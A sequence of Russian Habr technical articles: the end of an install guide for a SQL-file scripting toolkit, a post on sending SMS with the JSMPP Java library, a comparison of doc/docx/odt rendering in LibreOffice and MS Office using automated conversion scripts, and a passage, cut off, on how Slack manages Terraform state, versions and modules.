Имеются и другие элементарные примеры, подобные **Simple script (Hello)**; прилагаются к SQL-файл. См. “**HandicraftSDK\SQL\Programming samples (SQL-file)\\*\***”.
ИНСТАЛЛЯЦИЯ SQL-ФАЙЛ:
---------------------
Инсталляция SQL-файл не является ни простой ни сложной. Программное окружение устанавливается вручную (требуется немного повозиться). Страница загрузок (одна из): [**https://handicraft.remelias.ru/**](https://handicraft.remelias.ru/); файлы: “**Handicraft\_Toolkit\_YYYYMMDDx.7z**” (без пароля) либо “**HandicraftSDK YYYY-MM-DDx.7z**” (пароль: **qwerty**).
**Список действий, необходимых для установки окружения SQL-файл:**
1. Скопировать папку **HandicraftSDK** (кустарный SDK) либо же папку **Handicraft\_Toolkit\_YYYYMMDDx** (SDK + дополнительные примеры) на пользовательскую машину (желательно поближе к корню тома). **Путь к папке SDK не должен содержать символов восклицательного знака “!”, так же, как и путь к пользовательским проектам SQL-файл!**
2. Прописать путь к папке **CMD-utilities** — учесть в переменной **PATH** (для работы утилит: $SQLTRANS, $SQLUPLOAD, $SQLCON, $SQL, $SQLTOCSVEXP, $CONFIRMPAUSE, $TYPEINCOLOR и др.).
3. Определить в системе переменную **SQLAUX\_ROOT** так, чтобы она ссылалась на папку “**SQL\SQLAUX**” (для доступности скриптовой библиотеки SQLAUX); определить переменную **SSMS\_ExePath** как “**C:\Program Files (x86)\Microsoft SQL Server Management Studio 18\Common7\IDE\Ssms.exe**” (или подобное).
4. Скопировать плагин **CmdCpAuto** в **Far Manager**: “**Utilities\Far plugins\CmdCpAuto plugin, build 100 (Far v3)\x64**” (или **x86**) >> **%FARHOME%\Plugins\**.
5. Скопировать файлы **\*.lua** (все макросы, либо выборочно) в **Far Manager** >> **%FARPROFILE%\Macros\scripts\**.
6. Настроить ассоциацию для расширения **\*.sql** согласно инструкциям из папки “**CMD-utilities\Shell\Integration\RU**” (см. файлы “**!\*.txt**”), и другие действия по инструкциям, например заимствование понравившихся пунктов меню из файла **FarMenu.ini**. Там же приводится информация о том, как сконфигурировать под SQL-трансляцию (утилита $SQLTRANS) один из лучших автономных редакторов исходного текста программ (GUI, см. папку “**Integration\RU**”).
7. В **SQL Server Management Studio** (SSMS IDE): Главное меню :: Сервис :: Параметры :: Выполнение запроса :: **По умолчанию открывать новые запросы в режиме SQLCMD** (**включить галочку**).
8. Желательно добиться точной аккуратной подгонки окна **Far Manager** под рабочий стол, чтобы консоль была без вертикальной полосы прокрутки. Потребуется “поиграть” с настройками ярлыка программы (**.LNK**). Рекомендуемый шрифт: **Consolas** (для совместимости с Unicode). (Далее приводятся настройки, действующие на машине автора.) Размер шрифта: 18 не жирный (на экране 1920×1080, при масштабировании 125%). Размер буфера экрана: 158×43 + Перенос текстового вывода при изменении размеров: ВКЛ. Размер окна: 158×43. Положение окна: -4×-4 + Автоматический выбор: ВКЛ. Так же, для удобства запуска: Ярлык :: Быстрый вызов: **Ctrl + Alt + F12** (или подобное).
9. Так же, предполагается, что в системе установлены **клиентские утилиты MSSQL** (SQLCMD, BCP) и прописан к ним соответствующий маршрут (как часть переменной **PATH**). Например: “**C:\Program Files\Microsoft SQL Server\Client SDK\ODBC\170\Tools\Binn**”.
10. Ещё, желательно отключить в системе возможность быстрого выделения консольного текста мышью (для устранения эффекта нечаянного такого выделения, приводящего к нежелательной остановке программного вывода на консоль): **[HKEY\_CURRENT\_USER\Console] "QuickEdit"=dword:00000000**.
(**Для отражения внесённых изменений потребуется перезапуск Far Manager!**) | https://habr.com/ru/post/672084/ | null | ru | null |
# АД по имени JSMPP
Видимо в жизни каждого программиста наступает момент, когда ему становится необходимо научиться отправлять [SMS](http://ru.wikipedia.org/wiki/SMS)-сообщения. Вчера такой момент наступил и у меня. Сразу скажу, что эта необходимость никак не связана с рекламными рассылками и прочим спамом. SMS-ки понадобилось рассылать в сугубо мирных целях, в рамках реакции на события, обнаруженные в процессе мониторинга оборудования.
Важность наличия возможности такой рассылки сложно переоценить. Действительно, отослав уведомление об аварии на EMail контактного лица, мы не можем рассчитывать на немедленное реагирование. Неизвестно, когда адресат прочитает свою почту. SMS доставляется намного оперативнее.
В нашей компании давно и успешно используется собственная реализация [SMPP](http://ru.wikipedia.org/wiki/SMPP)-сервиса и мысль об использовании готового SMPP-клиента на Java показалась мне логичной. Отважно вбив в строку поиска [google](https://www.google.ru) слова «java smpp client», я немедленно нашел нужную мне [библиотеку](http://code.google.com/p/jsmpp/). О том, что происходило дальше, рассказывает мой сегодняшний пост.
Поскольку для сборки проектов я использую [maven](http://maven.apache.org/), первым делом, я скачал с сайта последнюю версию [библиотеки](http://code.google.com/p/jsmpp/downloads/detail?name=jsmpp-2.1.0-all.zip), загрузил ее в локальный репозиторий следующей командой:
```
mvn install:install-file -Dfile=jsmpp-2.1.0.jar -DgroupId=org.jsmpp -DartifactId=smpp -Dversion=2.1.0 -Dpackaging=jar
```
после чего создал pom-файл:
**pom.xml**
```
4.0.0
com.acme.ae.tests.smpp
SMPPTest
1.0.0
jar
smppTest-${project.version}
http://maven.apache.org
UTF-8
${project.basedir}/src/main/resources
${project.name}-${project.version}
${resource\_dir}
org.jsmpp
smpp
2.1.0
```
Заготовка тестового приложения выглядела вполне стандартно:
**Test.java**
```
package com.acme.ae.tests.smpp;
public class Test {
private void start() throws IOException {
}
private void stop() throws IOException {
}
private void test() {
}
public static void main(String[] args) {
Test t = new Test();
try {
try {
t.start();
t.test();
} finally {
t.stop();
}
} catch (Exception e) {
System.out.println(e.toString());
}
}
}
```
Далее последовало изучение [примера](http://code.google.com/p/jsmpp/source/browse/trunk/src/java/examples/org/jsmpp/examples/SimpleSubmitExample.java), любезно предоставленного разработчиками. В качестве второго источника вдохновения использовалась переводная [спецификация](https://sms-service.kz/smpp34rus.pdf).
Для соединения с сервером, в полном соответствии с упомянутым выше примером, использовался следующий код:
**Соединение с сервером**
```
...
private SMPPSession session = null;
private void start() throws IOException {
session = new SMPPSession();
session.connectAndBind(SMPP_IP, SMPP_PORT,
new BindParameter(
BindType.BIND_TX,
SMPP_LOGIN,
SMPP_PASS,
"cp",
TypeOfNumber.UNKNOWN,
NumberingPlanIndicator.UNKNOWN,
null));
}
private void stop() throws IOException {
if (session != null) {
session.unbindAndClose();
}
}
...
```
Назначение части параметров здесь вполне понятно из контекста. Остальные параметры были взяты из кода примера без изменений. Поскольку мы собираемся только передавать сообщения, используем BindType.BIND\_TX.
Код передачи сообщения (вернее задания кодировки), взятый из примера, компилироваться отказался:
```
...
new GeneralDataCoding(Alphabet.ALPHA_DEFAULT, MessageClass.CLASS1, false)
...
```
После сравнения исходников скачанной библиотеки (последней доступной версии 2.1.0) с исходниками на [GitHub](https://github.com/uudashr/jsmpp), выяснилось, что разработчики, по непонятной мне причине, изменили сигнатуру конструктора:
```
- public GeneralDataCoding(boolean compressed, boolean containMessageClass,
- MessageClass messageClass, Alphabet alphabet) {
+ public GeneralDataCoding(Alphabet alphabet, MessageClass messageClass,
+ boolean compressed) throws IllegalArgumentException {
...
}
```
Поскольку мной использовался старый вариант, в код пришлось внести коррективы (адреса отправителя и получателя в коде изменены):
**Передача короткого сообщения**
```
...
private static TimeFormatter timeFormatter = new AbsoluteTimeFormatter();
private void test() throws PDUException, ResponseTimeoutException, InvalidResponseException, NegativeResponseException, IOException {
String messageId = session.submitShortMessage(
"CMT",
TypeOfNumber.ALPHANUMERIC,
NumberingPlanIndicator.UNKNOWN,
"ACME",
TypeOfNumber.INTERNATIONAL,
NumberingPlanIndicator.ISDN,
"7XXXXXXXXXX",
new ESMClass(),
(byte)0,
(byte)1,
timeFormatter.format(new Date()),
null,
new RegisteredDelivery(SMSCDeliveryReceipt.DEFAULT),
(byte)0,
new GeneralDataCoding(
false,
false,
MessageClass.CLASS1,
Alphabet.ALPHA_DEFAULT),
(byte)0,
"jSMPP simplify SMPP on Java platform".getBytes());
System.out.println("Message submitted, message_id is " + messageId);
}
...
```
Запуск кода на выполнение не увенчался успехом. При попытке создания SMPPSession, выбрасывалось исключение:
```
Exception in thread "main" java.lang.NoClassDefFoundError: org/slf4j/LoggerFactory
at org.jsmpp.session.AbstractSession.(AbstractSession.java:51)
at com.amfitel.m2000.ae.tests.smpp.Test.start(Test.java:56)
at com.amfitel.m2000.ae.tests.smpp.Test.main(Test.java:179)
Caused by: java.lang.ClassNotFoundException: org.slf4j.LoggerFactory
at java.net.URLClassLoader$1.run(URLClassLoader.java:202)
at java.security.AccessController.doPrivileged(Native Method)
at java.net.URLClassLoader.findClass(URLClassLoader.java:190)
at java.lang.ClassLoader.loadClass(ClassLoader.java:307)
at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:301)
at java.lang.ClassLoader.loadClass(ClassLoader.java:248)
... 3 more
```
Действительно, в [GettingStarted](http://code.google.com/p/jsmpp/wiki/GettingStarted) нашлось скупое упоминание об использовании [SLF4J](http://www.slf4j.org/). Пришлось добавить зависимость в pom.xml:
```
...
org.slf4j
slf4j-api
1.6.1
...
```
Номер версии (1.6.1, а не 1.4.3, как было сказано в GettingStarted) был взят из [pom-файла](https://github.com/uudashr/jsmpp/blob/master/pom.xml) на GitHub. Теперь в лог стала писаться неприятная ошибка, но, по крайней мере, соединение с сервером устанавливалось:
```
SLF4J: Failed to load class "org.slf4j.impl.StaticLoggerBinder".
SLF4J: Defaulting to no-operation (NOP) logger implementation
SLF4J: See http://www.slf4j.org/codes.html#StaticLoggerBinder for further details.
```
**Ремарка**Проблема решилась добавлением еще одной зависимости, также взятой из исходников на [GitHub](https://github.com/uudashr/jsmpp/blob/master/pom.xml):
```
...
org.slf4j
slf4j-log4j12
1.6.1
...
```
После ее добавления, стал формироваться нормальный лог, в соответствии с настройками заданными в log4j.properties. Спасибо [Googolplex](https://habrahabr.ru/users/googolplex/) за совет.
Отправка сообщения также выполнялась успешно, но на телефон, вместо букв, приходили «квадратики». На помощь пришел [WireShark](http://www.wireshark.org/download.html):
Наш разработчик SMPP-сервера, утверждал, что, для нормальной отправки сообщений на латинице, в Data Coding должен отсылаться 0. Надо сказать, что процесс формирования различных числовых кодов, диктуемых спецификацией, при использовании JSMPP API не очевиден. После непродолжительной медитации на исходный код, проблема была решена:
```
...
new GeneralDataCoding(
false,
false,
- MessageClass.CLASS1,
+ MessageClass.CLASS0,
Alphabet.ALPHA_DEFAULT)
...
```
Теперь оставалось научиться отправлять длинные сообщения и сообщения с использованием кириллицы. Для отправки длинных сообщений, я не стал мудрить с MESSAGE\_PAYLOAD, использовав подход, предлагаемый в [примере](https://github.com/uudashr/jsmpp/blob/master/jsmpp-examples/src/main/java/org/jsmpp/examples/SubmitLongMessageExample.java) от разработчиков.
Для передачи кириллицы, требовалось сменить кодировку и перевести сообщение в UCS-2. С практической точки зрения, последнее выливалось в представление текста в виде последовательности байт в кодировке UTF-16 (про разницу между UCS-2 и UTF-16 можно прочитать [здесь](http://www.unicode.org/faq/basic_q.html#14)). В результате, код отправки сообщений выглядел следующим образом:
**Передача длинного кириллического сообщения**
```
GeneralDataCoding coding = new GeneralDataCoding(
false,
false,
MessageClass.CLASS0,
Alphabet.ALPHA_UCS2);
final int totalSegments = 3;
Random random = new Random();
OptionalParameter sarMsgRefNum = OptionalParameters.newSarMsgRefNum((short)random.nextInt());
OptionalParameter sarTotalSegments = OptionalParameters.newSarTotalSegments(totalSegments);
for (int i = 0; i < totalSegments; i++) {
final int seqNum = i + 1;
String message = "Сообщение " + seqNum + " of " + totalSegments + " ";
OptionalParameter sarSegmentSeqnum = OptionalParameters.newSarSegmentSeqnum(seqNum);
String messageId = session.submitShortMessage(
"CMT",
TypeOfNumber.ALPHANUMERIC,
NumberingPlanIndicator.UNKNOWN,
"ACME",
TypeOfNumber.INTERNATIONAL,
NumberingPlanIndicator.ISDN,
"7XXXXXXXXXX",
new ESMClass(),
SMPP_PROTOCOL_ID, // (byte)0
SMPP_PRIORITY_FLAG, // (byte)1
null,
null,
new RegisteredDelivery(SMSCDeliveryReceipt.DEFAULT),
SMPP_REP_IF_P_FLAG, // (byte)0
coding,
(byte)0,
message.getBytes(Charset.forName("UTF-16")),
sarMsgRefNum,
sarSegmentSeqnum,
sarTotalSegments);
System.out.println("Message submitted, message_id is " + messageId);
}
```
Завершая эту статью, хочу подчеркнуть, что она писалась не с целью критики JSMPP. Спецификация SMPP сложна сама по себе, а разработчики библиотеки сделали все возможное чтобы максимально облегчить процесс ее использования. Мелкие огрехи, в подобном проекте, неизбежны.
Я писал этот пост не с целью кого-нибудь поругать, а лишь из желания облегчить другим людям хождение по тем граблям, по которым прошел сам. Прошу не воспринимать мое брюзжание излишне серьезно. | https://habr.com/ru/post/202142/ | null | ru | null |
# Как подружить LO и MSO. Часть 2: автоматическая генерация тестов для docx и odt
Здравствуй, читатель! [Как и обещал](http://habrahabr.ru/post/214543/#comment_7372087), продолжаю тестировать различные форматы документов в MS Office 2010 и LibreOffice 3.5. За время написания этого поста я успел проверить в работе форматы odt и docx — к сожалению, остался разочарован. Но не будем забегать вперед; под катом о том, как эти форматы обрабатываются в MSO и LO, а также небольшой сюрприз тестировщикам: как автоматизировать процесс генерации тестов для такой необычной области, как форматы документов.
#### Ожидания
В комментариях к [прошлому посту](http://habrahabr.ru/post/214543/), как и повсюду в интернете, много говорили о форматах docx и odt, как о замене старого и (как оказалось) не очень доброго doc. Много говорили о стандарте doc, много вспоминали о качестве формул в odt, грех было не протестировать эти форматы в деле. Если честно, я ожидал, что odt будет открываться и там и тут без проблем, docx же покажет результаты похуже чем odt, но намного лучше чем doc. Но мечтам не суждено было сбыться…
#### Генератор тестов
Тесты для doc я готовил около дня. Согласно логике, столько же мне нужно было для docx и еще день для odt. Три дня для написания одинаковых тестов, но в разных форматах! Какого программиста это может устроить? Базисом моей идеи является следующее наблюдение: если сохранить любые компоненты в odt под LO, то они не изменятся при повторном открытии в LO. Это означает, что все тесты изначально нужно было писать в odt формате, затем их нужно всего лишь пересохранить в форматах doc и docx, что даст нам три теста взамен одного. К счастью, у soffice есть параметр --convert-to, который я и использовал для автоматизации.
Итак, как же автоматизируется создание тестов:
1. Пишем все тесты в odt
2. Пишем небольшой sh для конвертации odt в любой формат
**converter.sh**
```
soffice --headless --convert-to $2 $1
```
3. Пишем еще один sh для автоматизации процесса конвертации всех доступных odt тестов
**create.sh**
```
for i in `seq 12`; do
cd $i;
../converter.sh "*.odt" doc;
../converter.sh "*.odt" docx;
cd ..
done
```
4. На всякий случай пишем sh для удаления всех doc и docx
**clean.sh**
```
for i in `seq 12`; do
rm $i/*.doc* $i/*/*.doc*;
rm $i/*.docx* $i/*/*.docx*;
done;
```
В результате получаем генератор тестов из odt в doc и docx + полностью переписанные тесты для всех трех форматов за один день!
#### Помимо форматов
Новые форматы — это хорошо, но я не забыл о просьбах читателей и добавил в тесты формулы и сноски. Как оказалось, дела здесь обстоят не так плохо, как говорили. Большая часть компонентов отображается ~~корректно~~.
Также немного изменил журнал. Добавил немного статистики для поиска наиболее «хорошего» формата, который бы хорошо отображался в большинстве случаев на обоих редакторах.
#### Результаты
##### Страницы
Все форматы корректно работают с размерами страниц, их ориентацией, полями и границами. Цвет фона страниц лучше не использовать вовсе, как и отступы от границ (заменяется полями или отступами абзацев).
##### Колонтитулы
Если вам от колонтитулов нужно указать высоту (в LO — интервал) или добавить номера страниц, то никаких проблем ни в одном из форматов не возникнет. Но вот границы и боковые поля обрабатываются не очень, так же плохо обрабатываются таблицы в колонтитулах в формате docx, в LO они удаляются (странно, но даже удаленные они видны в MSO).
##### Колонки
Нигде никаких проблем.
##### Абзац
Отступы, интервалы и выравнивание во всех форматах и редакторах отображаются одинаково, как и цвета с различными выделениями. Границы тоже можно использовать без опасений, но вот о такой экзотике как вертикальное выравнивание относительно базовой линии следует забыть, MSO об этом просто не знает. Параметры «Не разрывать абзац» и «Не отрывать от следующего» тоже корректно отображаются во всех форматах и редакторах.
##### Символы
Нет никаких проблем за исключением двух:
* О надчеркивании можно забыть
* Гиперссылки удаляются при открытии odt через MSO
##### Списки
Тоже все хорошо в doc и docx. В odt смещаются отступы списков.
##### Изображения
Если коротко — пользуйтесь doc. Никаких проблем с изображениями в ваших документах не будет.
##### Таблицы
Аналогично предыдущему пункту — doc показал себя и здесь лучше всех.
##### Рецензирование
Если любите odt, о переносимости можете забыть! MSO удаляет все данные об изменениях из документа без вашего согласия.
##### Поля
Вроде как все везде корректно, но после долгих тестов пришел к выводу — не используйте специальные поля в ваших документах (кроме номера и количества страниц, конечно).
##### Формулы
Здесь docx вне конкуренции. Отличное отображение формул и возможность редактирования (правда с левосторонними индексами не очень — их просто нет).
##### Сноски
Все форматы показали себя хорошо, один только docx решил использовать числа при буквенной нумерации сносок, но ведь это не страшно, правда?
#### Мой вердикт
Если нужен договор, письмо и подобная бизнес-документация, используйте doc. Отлично обрабатывается как форматирование текста, так и различные вставки (кроме формул).
Нужно писать доклад, диссертацию или курсовую? Используйте docx и никаких проблем с формулами у вас не будет.
У вас красные глаза линуксоида и вы ведете курсор в сторону «Не нравится» с мыслями — «odt forever!!!»? Нет моей вины в том, что odt показал себя хуже других. Почему-то все odt файлы не хотели нормально открываться в MSO и требовали «Восстановить документ». С чем это может быть связано — не знаю, документы создавал по правилам, никаких плясок с бубном над используемым LO не устраивал. Возможно дело в версии (у меня LO 3.5)? | https://habr.com/ru/post/215103/ | null | ru | null |
# Как мы в Slack используем Terraform
[](https://habr.com/ru/company/ruvds/blog/707154/)
В Slack всей своей инфраструктурой, опирающейся на AWS, DigitalOcean, NS1 и GCP, мы управляем с помощью Terraform. И хотя большая её часть работает на AWS, мы выбрали Terraform в противоположность их нативному сервису CloudFormation, чтобы использовать единый инструмент среди всех провайдеров сервисов. Это позволяет сохранить модель «инфраструктура как код» и механизм развёртывания универсальными. В статье мы разберём процесс развёртывания нашей инфраструктуры с помощью Terraform.
▍ Эволюция файлов состояния в Terraform
---------------------------------------
Slack начинался с одного аккаунта AWS, и все наши сервисы располагались в нём. Поначалу время структура файлов состояния Terraform являлась очень простой. У нас было по одному такому файлу для каждого региона AWS и отдельный файл для глобальных сервисов, таких как IAM и CloudFront.
```
├── aws-global
│ └── cloudfront
│ ├── services.tf
│ ├── terraform_state.tf
│ ├── variables.tf
│ └── versions.tf
├── us-east-1
│ ├── services.tf
│ ├── terraform.tfvars
│ ├── terraform_state.tf
│ ├── variables.tf
│ └── versions.tf
├── us-west-2
│ ├── services.tf
│ ├── terraform.tfvars
│ ├── terraform_state.tf
│ ├── variables.tf
│ └── versions.tf
├── ap-southest-2
│ ├── services.tf
│ ├── terraform.tfvars
│ ├── terraform_state.tf
│ ├── variables.tf
│ └── versions.tf
└── digitalocean-sfo1
├── services.tf
├── terraform.tfvars
├── terraform_state.tf
├── variables.tf
└── versions.tf
```
Для среды разработки и продакшена существовали идентичные конфигурации, но по мере развития компании размещение всех сервисов AWS на одном аккаунте стало неприемлемым. Создавались десятки тысяч инстансов EC2, и мы начали сталкиваться с различными лимитами AWS. Консоль AWS EC2 стала непригодной для использования в *us-east-1*, где размещалась огромная часть нашей рабочей нагрузки. Также ввиду большого числа сформировавшихся команд стало очень сложно управлять доступом в одном аккаунте AWS. Именно тут мы и решили создать выделенные аккаунты AWS для определённых команд и сервисов. Этот процесс я подробно раскрыл в двух других статьях: [Building the Next Evolution of Cloud Networks at Slack](https://slack.engineering/building-the-next-evolution-of-cloud-networks-at-slack/) и [Building the Next Evolution of Cloud Networks at Slack – A Retrospective](https://slack.engineering/building-the-next-evolution-of-cloud-networks-at-slack-a-retrospective/).
Используя Jenkins в качестве механизма развёртывания, при внесении изменения в заданный файл состояния мы могли активировать соответствующий конвейер Jenkins для развёртывания этого изменения. У таких конвейеров есть две стадии: планирование (Plan) и применение (Apply). Стадия планирования позволяет проверить, что произойдёт на стадии применения. Эти файлы состояния мы объединяем в цепочку, в результате чего до перехода в продакшен изменения приходится проверять в песочнице и среде разработки.
Раньше управление внутренней инфраструктурой, базой кода Terraform и файлами состояния входило в ответственность центральной команды Ops. Но по мере создания всё большего числа дочерних аккаунтов для команд Slack количество файлов состояния значительно возросло.
Сегодня у нас уже нет централизованной команды Ops. За управление платформой Terraform отвечает команда Cloud Foundations, частью которой я и являюсь, а состояния и конвейеры Terraform перешли под ответственность владельцев сервисов. Сейчас мы используем уже почти 1,400 файлов состояния, принадлежащих различным командам. Ребята из Cloud Foundations контролируют версии Terraform, версии провайдеров, набор инструментов для управления Terraform, а также ряд модулей, предоставляющих базовую функциональность.
Как я говорил, сегодня в каждом аккаунте у нас есть по одному файлу состояния для региона и отдельный файл для глобальных сервисов, таких как IAM и CloudFront. Однако мы также стремимся создавать отдельные изолированные файлы состояния для более крупных сервисов, чтобы свести к минимуму количество ресурсов, регулируемых одним таким файлом. Это ускоряет процесс развёртывания и повышает безопасность внесения изменений в меньшие файлы состояния, поскольку количество подверженных этим изменениям ресурсов снижено.
Для хранения всех состояний Terraform мы используем [корзину AWS S3](https://www.terraform.io/language/settings/backends/s3) с поддержкой версионирования, где они размещаются по разным путям. Мы также задействуем функционал блокировки состояний и проверки согласованности из DynamoDB. Функция версионирования объектов при этом позволяет легко делать откат к прежним версиям состояний.
▍ Где мы выполняем Terraform?
-----------------------------
Все наши конвейеры Terraform выполняются на выделенных воркерах Jenkins. Этим воркерам назначены роли IAM с уровнем доступа к дочерним аккаунтам достаточным, для построения необходимых ресурсов. Однако инженерам Slack также требуется место для тестирования изменений Terraform или прототипирования новых модулей. Таким местом должна выступать среда, идентичная среде воркеров Jenkins, но уже без такого уровня доступа. В связи с этим мы создали вид пространства под названием «Ops», дав инженерам возможность запускать экземпляры таких пространств с помощью веб-интерфейса.
При этом перед запуском инстанса они могут выбирать его размер, регион и объём диска. В случае длительного простоя эти инстансы автоматически уничтожаются. Во время конфигурирования созданных пространств все наши двоичные файлы Terraform, провайдеры, обёртки и связанные инструменты настраиваются так, чтобы их среда была идентична среде воркеров Jenkins. Однако для наших аккаунтов AWS эти пространства предоставляют доступ только для чтения. Следовательно, они позволяют инженерам планировать любые изменения Terraform и оценивать их результаты без возможности применения через свои пространства «Ops».
▍ Как мы работаем с версиями Terraform?
---------------------------------------
Мы начали с поддержки одной версии Terraform, развернув её двоичный файл и плагины для воркеров Jenkins и прочих мест, где используем Terraform, через систему управления конфигурацией Chef. Все двоичные файлы при этом были взяты из корзины S3.
Ещё в 2019 году мы обновили файлы состояния с Terraform 0.11 до 0.12. Это было обновление старшей версии, поскольку коснулось изменений синтаксиса. Тогда мы провели за этим апгрейдом целый квартал. Модули пришлось копировать с суффиксом `-v2` для поддержки новой версии Terraform. Мы написали для бинарников Terraform обёртку, которая проверяла файл *version.tf* в каждом файле состояния и выбирала из них нужный. После обновления всех файлов состояния мы удалили бинарник 0.11 и внесённые в обёртку изменения. В целом это был очень тяжёлый и длительный процесс.
Мы просидели на версии Terraform 0.12 почти два года, прежде чем задумались о переходе на 0.13. На этот раз мы решили добавить инструменты для упрощения последующих изменений. Однако всё усложнилось тем, что примерно в то же время вышла версия AWS 4.x, мы же использовали 3.74.1. Между этими версиями произошло много серьёзных изменений, и мы решились одновременно обновить Terraform и AWS.
И хотя были доступны более новые версии Terraform (0.14 и 1.x), обновление рекомендовалось делать через версию 0.13. Мы хотели реализовать систему для развёртывания нескольких версий Terraform и плагинов, чтобы можно было выбирать нужные на основе файла состояния. Для этого мы ввели файл конфигурации версий, который развёртывался в каждом пространстве.
```
{
"terraform_versions":
[
"X.X.X",
"X.X.X"
],
"package_plugins":
[
{
"name": "aws",
"namespace": "hashicorp",
"versions" : [
"X.X.X",
"X.X.X"
],
"registry_url": "registry.terraform.io/hashicorp/aws"
},
{
"name": "azurerm",
"namespace": "hashicorp",
"versions" : [
"X.X.X"
],
"registry_url": "registry.terraform.io/hashicorp/azurerm"
},
```
Мы начали развёртывать несколько версий Terraform и провайдеров. Обёртка была изменена для считывания файла *version.tf* в каждом файле состояния и выбора нужной версии Terraform.
Поскольку Terraform 0.13+ позволяет использовать несколько версий одного провайдера в каталоге плагинов, мы развернули в этом каталоге все версии, используемые нашими файлами состояния.
```
└── bin
├── registry.terraform.io
│ ├── hashicorp
│ │ ├── archive
│ │ │ └── X.X.X
│ │ │ └── linux_amd64
│ │ │ └── terraform-provider-archive
│ │ ├── aws
│ │ │ ├── X.X.X
│ │ │ │ └── linux_amd64
│ │ │ │ └── terraform-provider-aws
│ │ │ └── X.X.X
│ │ │ └── linux_amd64
│ │ │ └── terraform-provider-aws
│ │ ├── azuread
│ │ │ └── X.X.X
│ │ │ └── linux_amd64
│ │ │ └── terraform-provider-azuread
│ │ ├── azurerm
│ │ │ └── X.X.X
│ │ │ └── linux_amd64
│ │ │ └── terraform-provider-azurerm
```
Это позволило одновременно обновить версии Terraform и AWS. В случае внесения новой версией провайдера критических изменений относительно прежней можно было откатить его обратно для конкретного файла состояния и затем уже постепенно обновить эти файлы до последних версий.
После апгрейда всех файлов состояния до актуальных версий их старые версии были удалены. Мы призвали отвечающие за сервисы команды не держаться за какие-либо конкретные версии провайдеров без весомых причин. По мере появления новых версий команда Cloud Foundations развёртывает их, а старые удаляет.
На этот раз мы создали инструмент, помогающий обновлять Terraform, и смогли запустить его для заданного состояния. Делает он следующее:
* проверяет текущую версию;
* проверяет наличие неприменённых изменений;
* проверяет, есть ли ещё файлы состояния, выполняющие поиск удалённых состояний в файлах состояния (Terraform 0.12 не способен выполнять поиск удалённых состояний в файлах Terraform 0.13+, что потенциально может нарушить некоторые из этих файлов);
* проверяет, может ли файл состояния после обновления выполнить планирование Terraform.
Изначально этот инструмент представлял собой простой bash-скрипт. Однако по мере внесения дополнительных проверок и логики он начал серьёзно усложняться, и понимать его стало трудно. Считывание синтаксиса Terraform с помощью Bash непростая задача, которая подразумевает использование множества команд сопоставления строк и `grep`.
В конечном счёте мы заменили этот скрипт бинарником Go. Библиотеки Go [hclsyntx](https://pkg.go.dev/github.com/hashicorp/hcl2/hcl/hclsyntax) и [gohcl](http://github.com/hashicorp/hcl/v2/gohcl) существенно упростили считывание конфигурации Terraform и загрузку его элементов в структуры данных Go. Библиотека [terraform-exec](http://github.com/hashicorp/terraform-exec) повысила удобство планирования в Terraform и проверки ошибок. Мы также встроили в этот бинарник возможность аналитики, в частности — проверку деревьев зависимостей модулей.
```
agunasekara@ops-box:service_dev (branch_name) >> terraform-upgrade-tool -show-deps
INFO[0000] welcome to Terraform upgrade tool
INFO[0000] dependency tree for this state file as follows
terraform/accnt-cloudeng-dev/us-east-1/service_dev
└── terraform/modules/aws/whitecastle-lookup
│ ├── terraform/modules/aws/aws_partition
└── terraform/modules/slack/service
└── terraform/modules/aws/alb
│ ├── terraform/modules/aws/aws_partition
└── terraform/modules/aws/aws_partition
└── terraform/modules/aws/ami
│ ├── terraform/modules/aws/aws_partition
└── terraform/modules/aws/autoscaling
```
В итоге стало проще оценивать, какой модуль затрагивает апгрейд заданного файла состояния.
Убедившись в корректности работы созданного инструмента, мы добавили в него возможность обновления части файлов состояния за раз. Его разработка и переход на версию 0.13 вылились в очень длительный процесс, но оно того стоило, и теперь, когда мы снова обновляем Terraform, происходит это уже в гораздо более плавном режиме.
▍ Как мы управляем модулями?
----------------------------
Наши файлы состояния и модули расположены в одном репозитории, и мы с помощью функционала *[CODEOWNERS](https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners)* назначаем ревью конкретного файла состояния соответствующей команде.
Для модулей мы использовали относительный путь.
```
module "service_dev" {
source = "../../../modules/slack/service"
whitecastle = true
vpc_id = local.vpc_id
subnets = local.public_subnets
pvt_subnets = local.private_subnets
```
И хотя такой подход существенно упрощает тестирование изменений модулей, он также имеет некоторые риски, поскольку нарушает другие файлы состояния, этот модуль использующие.
Мы также опробовали предлагаемый [GitHub подход](https://www.terraform.io/language/modules/sources#github) к планированию путей.
```
module "network" {
source = "git::git@github-url.com:slack/repo-name//module_path?ref=COMMIT_HASH"
network_cidr_ranges = var.network_cidr_ranges
Private_subnets_cidr_blocks = var.private_subnets_cidr_blocks
public_subnets_cidr_blocks = var.public_subnets_cidr_blocks
```
Этот подход позволил нам прикреплять файл состояния к конкретной версии модуля. Однако был при этом и один серьёзный недостаток. Каждая команда Plan/Apply в Terraform должна клонировать весь репозиторий (напомню, что у нас весь код Terraform находится в одном), что оказалось очень длительным процессом. Кроме того, хэши Git не особо удобны для чтения и сопоставления.
▍ Собственный каталог модулей
-----------------------------
Нам нужен был более удобный и простой способ управления модулями, в связи с чем было решено создать для этой цели внутренний инструмент. Теперь у нас есть конвейер, активируемый при каждом внесении изменения в репозиторий. Этот конвейер проверяет все модули на предмет изменений и в случае обнаружения таковых создаёт новый архив tar соответствующего модуля, загружая его в корзину S3 с новой версией.
```
agunasekara@ops-box:~ >> aws s3 ls s3://terraform-registry-bucket-name/terraform/modules/aws/vpc/
2021-12-20 17:04:35 5777 0.0.1.tgz
2021-12-23 12:08:23 5778 0.0.2.tgz
2022-01-10 16:00:13 5754 0.0.3.tgz
2022-01-12 14:32:54 5756 0.0.4.tgz
2022-01-19 20:34:16 5755 0.0.5.tgz
2022-06-01 05:16:03 5756 0.0.6.tgz
2022-06-01 05:34:27 5756 0.0.7.tgz
2022-06-01 19:38:21 5756 0.0.8.tgz
2022-06-27 07:47:21 5756 0.0.9.tgz
2022-09-07 18:54:53 5754 0.1.0.tgz
2022-09-07 18:54:54 2348 versions.json
```
Он также загружает файл *versions.json*, где содержится история изменений данного модуля.
```
agunasekara@ops-box:~ >> jq < versions.json
{
"name": "aws/vpc",
"path": "terraform/modules/aws/vpc",
"latest": "0.1.0",
"history": [
{
"commithash": "xxxxxxxxxxxxxxxxxxxxxxxxx",
"signature": {
"Name": "Archie Gunasekara",
"Email": "agunasekara@email.com",
"When": "2021-12-21T12:04:08+11:00"
},
